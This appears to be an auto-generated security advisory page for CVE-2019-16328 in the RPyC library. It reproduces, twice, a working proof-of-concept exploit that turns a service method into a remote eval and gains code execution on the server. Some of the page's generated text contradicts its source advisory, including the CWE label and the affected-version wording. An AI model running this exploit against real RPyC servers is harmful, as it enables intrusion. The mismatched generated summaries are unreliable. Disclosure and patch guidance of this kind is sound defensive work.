CVE-2019-16328: Rpyc Dynamic Modification Of RPyC Service Vulnerability

HIGH
Advisory Identifier: GHSA-pj4g-4488-wmxm
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CVSS 8.5
CWE-1321 CWE-285
Published
Advisory Summary

CVE-2019-16328 is a HIGH (CVSS 8.5) dynamic modification of rpyc service vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting Rpyc libraries in the PyPI ecosystem. The issue involves dynamic modification of rpyc service due to missing security check. Remediation is available by upgrading affected packages to version 4.1.1.

CVE-2019-16328 at a Glance

CVE Identifier CVE-2019-16328
GHSA Identifier GHSA-pj4g-4488-wmxm
Severity HIGH
CVSS v3.1 Base Score 8.5
CWE Classification CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Affected Product Rpyc
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2019-16328

To remediate this vulnerability, upgrade all affected Rpyc dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

rpyc fixed: 4.1.1 
pip install rpyc>=4.1.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

pip show rpyc

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2019-16328, inspect your installed packages using pip:

pip show rpyc

Analyze the terminal output to locate any version of Rpyc in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.1), your application is affected.

Note: The pip show rpyc command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In Rpyc, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact Version 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks. ### Patches Git commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected. ### Workarounds The commit `d818ecc83a92548994db75a0e9c419c7bce680d6` could be used as a patch to add the missing access check. ### References [CVE-2019-16328](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16328) [RPyC Security Documentation](https://rpyc.readthedocs.io/en/latest/docs/security.html#security) ### For more information If you have any questions or comments about this advisory: * Open an issue using [GitHub](https://github.com/tomerfiliba-org/rpyc) ### Proof of Concept ``` import logging import rpyc import tempfile from subprocess import Popen, PIPE import unittest PORT = 18861 SERVER_SCRIPT = f"""#!/usr/bin/env python import rpyc from rpyc.utils.server import ThreadedServer, ThreadPoolServer from rpyc import SlaveService import rpyc class Foe(object): foo = "bar" class Fee(rpyc.Service): exposed_Fie = Foe def exposed_nop(self): return if __name__ == "__main__": server = ThreadedServer(Fee, port={PORT}, auto_register=False) thd = server.start() """ def setattr_orig(target, attrname, codeobj): setattr(target, attrname, codeobj) def myeval(self=None, cmd="__import__('sys')"): return eval(cmd) def get_code(obj_codetype, func, filename=None, name=None): func_code = func.__code__ arg_names = ['co_argcount', 'co_posonlyargcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags', 'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_filename', 'co_name', 'co_firstlineno', 'co_lnotab', 'co_freevars', 'co_cellvars'] codetype_args = [getattr(func_code, n) for n in arg_names] if filename: codetype_args[arg_names.index('co_filename')] = filename if name: codetype_args[arg_names.index('co_name')] = name mycode = obj_codetype(*codetype_args) return mycode def _vercmp_gt(ver1, ver2): ver1_gt_ver2 = False for i, v1 in enumerate(ver1): v2 = ver2[i] if v1 > v2: ver1_gt_ver2 = True break elif v1 == v2: continue else: # v1 < v2 break return ver1_gt_ver2 @unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), "unaffected version") class Test_InfoDisclosure_Service(unittest.TestCase): @classmethod def setUpClass(cls): cls.logger = logging.getLogger('rpyc') cls.logger.setLevel(logging.DEBUG) # NOTSET only traverses until another level is found, so DEBUG is preferred cls.hscript = tempfile.NamedTemporaryFile() cls.hscript.write(SERVER_SCRIPT.encode()) cls.hscript.flush() while cls.hscript.file.tell() != len(SERVER_SCRIPT): pass cls.server = Popen(["python", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True) cls.conn = rpyc.connect("localhost", PORT) @classmethod def tearDownClass(cls): cls.conn.close() cls.logger.info(cls.server.stdout.read()) cls.logger.info(cls.server.stderr.read()) cls.server.kill() cls.hscript.close() def netref_getattr(self, netref, attrname): # PoC CWE-358: abuse __cmp__ function that was missing a security check handler = rpyc.core.consts.HANDLE_CMP return self.conn.sync_request(handler, netref, attrname, '__getattribute__') def test_1_modify_nop(self): # create netrefs for builtins and globals that will be used to construct on remote remote_svc_proto = self.netref_getattr(self.conn.root, '_protocol') remote_dispatch = self.netref_getattr(remote_svc_proto, '_dispatch_request') remote_class_globals = self.netref_getattr(remote_dispatch, '__globals__') remote_modules = self.netref_getattr(remote_class_globals['sys'], 'modules') _builtins = remote_modules['builtins'] remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)} # populate globals for CodeType calls on remote remote_globals = remote_builtins['dict']() for name, netref in remote_builtins.items(): remote_globals[name] = netref for name, netref in self.netref_getattr(remote_modules, 'items')(): remote_globals[name] = netref # create netrefs for types to create remote function malicously remote_types = remote_builtins['__import__']("types") remote_types_CodeType = self.netref_getattr(remote_types, 'CodeType') remote_types_FunctionType = self.netref_getattr(remote_types, 'FunctionType') # remote eval function constructed remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename='test_code.py', name='__code__') remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals) # PoC CWE-913: modify the exposed_nop of service # by binding various netrefs in this execution frame, they are cached in # the remote address space. setattr and eval functions are cached for the life # of the netrefs in the frame. A consequence of Netref classes inheriting # BaseNetref, each object is cached under_local_objects. So, we are able # to construct arbitrary code using types and builtins. # use the builtin netrefs to modify the service to use the constructed eval func remote_setattr = remote_builtins['setattr'] remote_type = remote_builtins['type'] remote_setattr(remote_type(self.conn.root), 'exposed_nop', remote_eval) # show that nop was replaced by eval to complete the PoC remote_sys = self.conn.root.nop('__import__("sys")') remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())') self.assertEqual(type(remote_sys).__name__, 'builtins.module') self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref) self.assertIn('rpyc/utils/server.py', remote_stack) def test_2_new_conn_impacted(self): # demostrate impact and scope of vuln for new connections self.conn.close() self.conn = rpyc.connect("localhost", PORT) # show new conn can still use nop as eval remote_sys = self.conn.root.nop('__import__("sys")') remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())') self.assertEqual(type(remote_sys).__name__, 'builtins.module') self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref) self.assertIn('rpyc/utils/server.py', remote_stack) if __name__ == "__main__": unittest.main() ```

CVE-2019-16328 Affected Rpyc Versions

1 component(s)
Fixed Versions:
4.1.1
Product / Package Ecosystem Affected Versions Fixed Version
rpyc
pypi/rpyc
PyPI
≥ 4.1.0
< 4.1.1
All 1 versions
4.1.0
4.1.1

References

GitHub Advisory / Wiki ADVISORY
https://github.com/tomerfiliba-org/rpyc/security/advisories/GHSA-pj4g-4488-wmxm
NVD — CVE-2019-16328 NVD
https://nvd.nist.gov/vuln/detail/CVE-2019-16328
Rpyc Source Repository REPOSITORY
https://github.com/tomerfiliba-org/rpyc
Rpyc Source Repository REPOSITORY
https://github.com/tomerfiliba/rpyc
Rpyc Security Information SECURITY
https://rpyc.readthedocs.io/en/latest/docs/security.html
Rpyc Security Information SECURITY
http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html
Rpyc Security Information SECURITY
http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html

Frequently Asked Questions

What is CVE-2019-16328?
CVE-2019-16328 is a security vulnerability in Rpyc involving Dynamic modification of RPyC service due to missing security check under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').
Which Rpyc versions are affected?
Affected versions include releases prior to 4.1.1 across affected packages: rpyc.
What version fixes CVE-2019-16328?
Upgrading to 4.1.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is rpyc affected?
Yes, rpyc is affected in releases prior to 4.1.1. Upgrade your dependency to 4.1.1 or later.
What is the CVSS score of CVE-2019-16328?
CVE-2019-16328 has a CVSS v3.1 base score of 8.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N.
What CWE is associated with CVE-2019-16328?
CVE-2019-16328 is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.).
How can I check PyPI dependencies for CVE-2019-16328?
Run the dependency tree command: 'pip show rpyc'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pj4g-4488-wmxm",
  "modified" : "2021-09-27T22:48:17Z",
  "published" : "2021-02-17T19:50:58Z",
  "aliases" : [ "CVE-2019-16328" ],
  "summary" : "Dynamic modification of RPyC service due to missing security check",
  "details" : "### Impact\nVersion 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.\n\n### Patches\nGit commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.\n\n### Workarounds\nThe commit `d818ecc83a92548994db75a0e9c419c7bce680d6` could be used as a patch to add the missing access check.\n\n### References\n[CVE-2019-16328](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16328)\n[RPyC Security Documentation](https://rpyc.readthedocs.io/en/latest/docs/security.html#security)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue using [GitHub](https://github.com/tomerfiliba-org/rpyc)\n\n### Proof of Concept\n```\nimport logging\nimport rpyc\nimport tempfile\nfrom subprocess import Popen, PIPE\nimport unittest\n\n\nPORT = 18861\nSERVER_SCRIPT = f\"\"\"#!/usr/bin/env python\nimport rpyc\nfrom rpyc.utils.server import ThreadedServer, ThreadPoolServer\nfrom rpyc import SlaveService\nimport rpyc\n\n\nclass Foe(object):\n    foo = \"bar\"\n\n\nclass Fee(rpyc.Service):\n    exposed_Fie = Foe\n\n    def exposed_nop(self):\n        return\n\n\nif __name__ == \"__main__\":\n    server = ThreadedServer(Fee, port={PORT}, auto_register=False)\n    thd = server.start()\n\"\"\"\n\n\ndef setattr_orig(target, attrname, codeobj):\n    setattr(target, attrname, codeobj)\n\n\ndef myeval(self=None, cmd=\"__import__('sys')\"):\n    return eval(cmd)\n\n\ndef get_code(obj_codetype, func, filename=None, name=None):\n    func_code = func.__code__\n    arg_names = ['co_argcount', 'co_posonlyargcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags',\n                 'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_filename', 'co_name', 'co_firstlineno',\n                 'co_lnotab', 'co_freevars', 'co_cellvars']\n\n    codetype_args = [getattr(func_code, n) for n in arg_names]\n    if filename:\n        codetype_args[arg_names.index('co_filename')] = filename\n    if name:\n        codetype_args[arg_names.index('co_name')] = name\n    mycode = obj_codetype(*codetype_args)\n    return mycode\n\n\ndef _vercmp_gt(ver1, ver2):\n    ver1_gt_ver2 = False\n    for i, v1 in enumerate(ver1):\n        v2 = ver2[i]\n        if v1 > v2:\n            ver1_gt_ver2 = True\n            break\n        elif v1 == v2:\n            continue\n        else:  # v1 < v2\n            break\n    return ver1_gt_ver2\n\n\n@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), \"unaffected version\")\nclass Test_InfoDisclosure_Service(unittest.TestCase):\n\n    @classmethod\n    def setUpClass(cls):\n\n        cls.logger = logging.getLogger('rpyc')\n        cls.logger.setLevel(logging.DEBUG)  # NOTSET only traverses until another level is found, so DEBUG is preferred\n        cls.hscript = tempfile.NamedTemporaryFile()\n        cls.hscript.write(SERVER_SCRIPT.encode())\n        cls.hscript.flush()\n        while cls.hscript.file.tell() != len(SERVER_SCRIPT):\n            pass\n        cls.server = Popen([\"python\", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)\n        cls.conn = rpyc.connect(\"localhost\", PORT)\n\n    @classmethod\n    def tearDownClass(cls):\n        cls.conn.close()\n        cls.logger.info(cls.server.stdout.read())\n        cls.logger.info(cls.server.stderr.read())\n        cls.server.kill()\n        cls.hscript.close()\n\n    def netref_getattr(self, netref, attrname):\n        # PoC CWE-358: abuse __cmp__ function that was missing a security check\n        handler = rpyc.core.consts.HANDLE_CMP\n        return self.conn.sync_request(handler, netref, attrname, '__getattribute__')\n\n    def test_1_modify_nop(self):\n        # create netrefs for builtins and globals that will be used to construct on remote\n        remote_svc_proto = self.netref_getattr(self.conn.root, '_protocol')\n        remote_dispatch = self.netref_getattr(remote_svc_proto, '_dispatch_request')\n        remote_class_globals = self.netref_getattr(remote_dispatch, '__globals__')\n        remote_modules = self.netref_getattr(remote_class_globals['sys'], 'modules')\n        _builtins = remote_modules['builtins']\n        remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)}\n\n        # populate globals for CodeType calls on remote\n        remote_globals = remote_builtins['dict']()\n        for name, netref in remote_builtins.items():\n            remote_globals[name] = netref\n        for name, netref in self.netref_getattr(remote_modules, 'items')():\n            remote_globals[name] = netref\n\n        # create netrefs for types to create remote function malicously\n        remote_types = remote_builtins['__import__'](\"types\")\n        remote_types_CodeType = self.netref_getattr(remote_types, 'CodeType')\n        remote_types_FunctionType = self.netref_getattr(remote_types, 'FunctionType')\n\n        # remote eval function constructed\n        remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename='test_code.py', name='__code__')\n        remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals)\n        # PoC CWE-913: modify the exposed_nop of service\n        #   by binding various netrefs in this execution frame, they are cached in\n        #   the remote address space. setattr and eval functions are cached for the life\n        #   of the netrefs in the frame. A consequence of Netref classes inheriting\n        #   BaseNetref, each object is cached under_local_objects. So, we are able\n        #   to construct arbitrary code using types and builtins.\n\n        # use the builtin netrefs to modify the service to use the constructed eval func\n        remote_setattr = remote_builtins['setattr']\n        remote_type = remote_builtins['type']\n        remote_setattr(remote_type(self.conn.root), 'exposed_nop', remote_eval)\n\n        # show that nop was replaced by eval to complete the PoC\n        remote_sys = self.conn.root.nop('__import__(\"sys\")')\n        remote_stack = self.conn.root.nop('\"\".join(__import__(\"traceback\").format_stack())')\n        self.assertEqual(type(remote_sys).__name__, 'builtins.module')\n        self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)\n        self.assertIn('rpyc/utils/server.py', remote_stack)\n\n    def test_2_new_conn_impacted(self):\n        # demostrate impact and scope of vuln for new connections\n        self.conn.close()\n        self.conn = rpyc.connect(\"localhost\", PORT)\n        # show new conn can still use nop as eval\n        remote_sys = self.conn.root.nop('__import__(\"sys\")')\n        remote_stack = self.conn.root.nop('\"\".join(__import__(\"traceback\").format_stack())')\n        self.assertEqual(type(remote_sys).__name__, 'builtins.module')\n        self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)\n        self.assertIn('rpyc/utils/server.py', remote_stack)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "rpyc"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.1.0"
      }, {
        "fixed" : "4.1.1"
      } ]
    } ],
    "versions" : [ "4.1.0" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/tomerfiliba-org/rpyc/security/advisories/GHSA-pj4g-4488-wmxm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2019-16328"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/tomerfiliba-org/rpyc"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tomerfiliba/rpyc"
  }, {
    "type" : "WEB",
    "url" : "https://rpyc.readthedocs.io/en/latest/docs/security.html"
  }, {
    "type" : "WEB",
    "url" : "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html"
  }, {
    "type" : "WEB",
    "url" : "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321", "CWE-285" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2021-02-17T19:50:44Z",
    "nvd_published_at" : "2019-10-03T20:15:00Z"
  }
}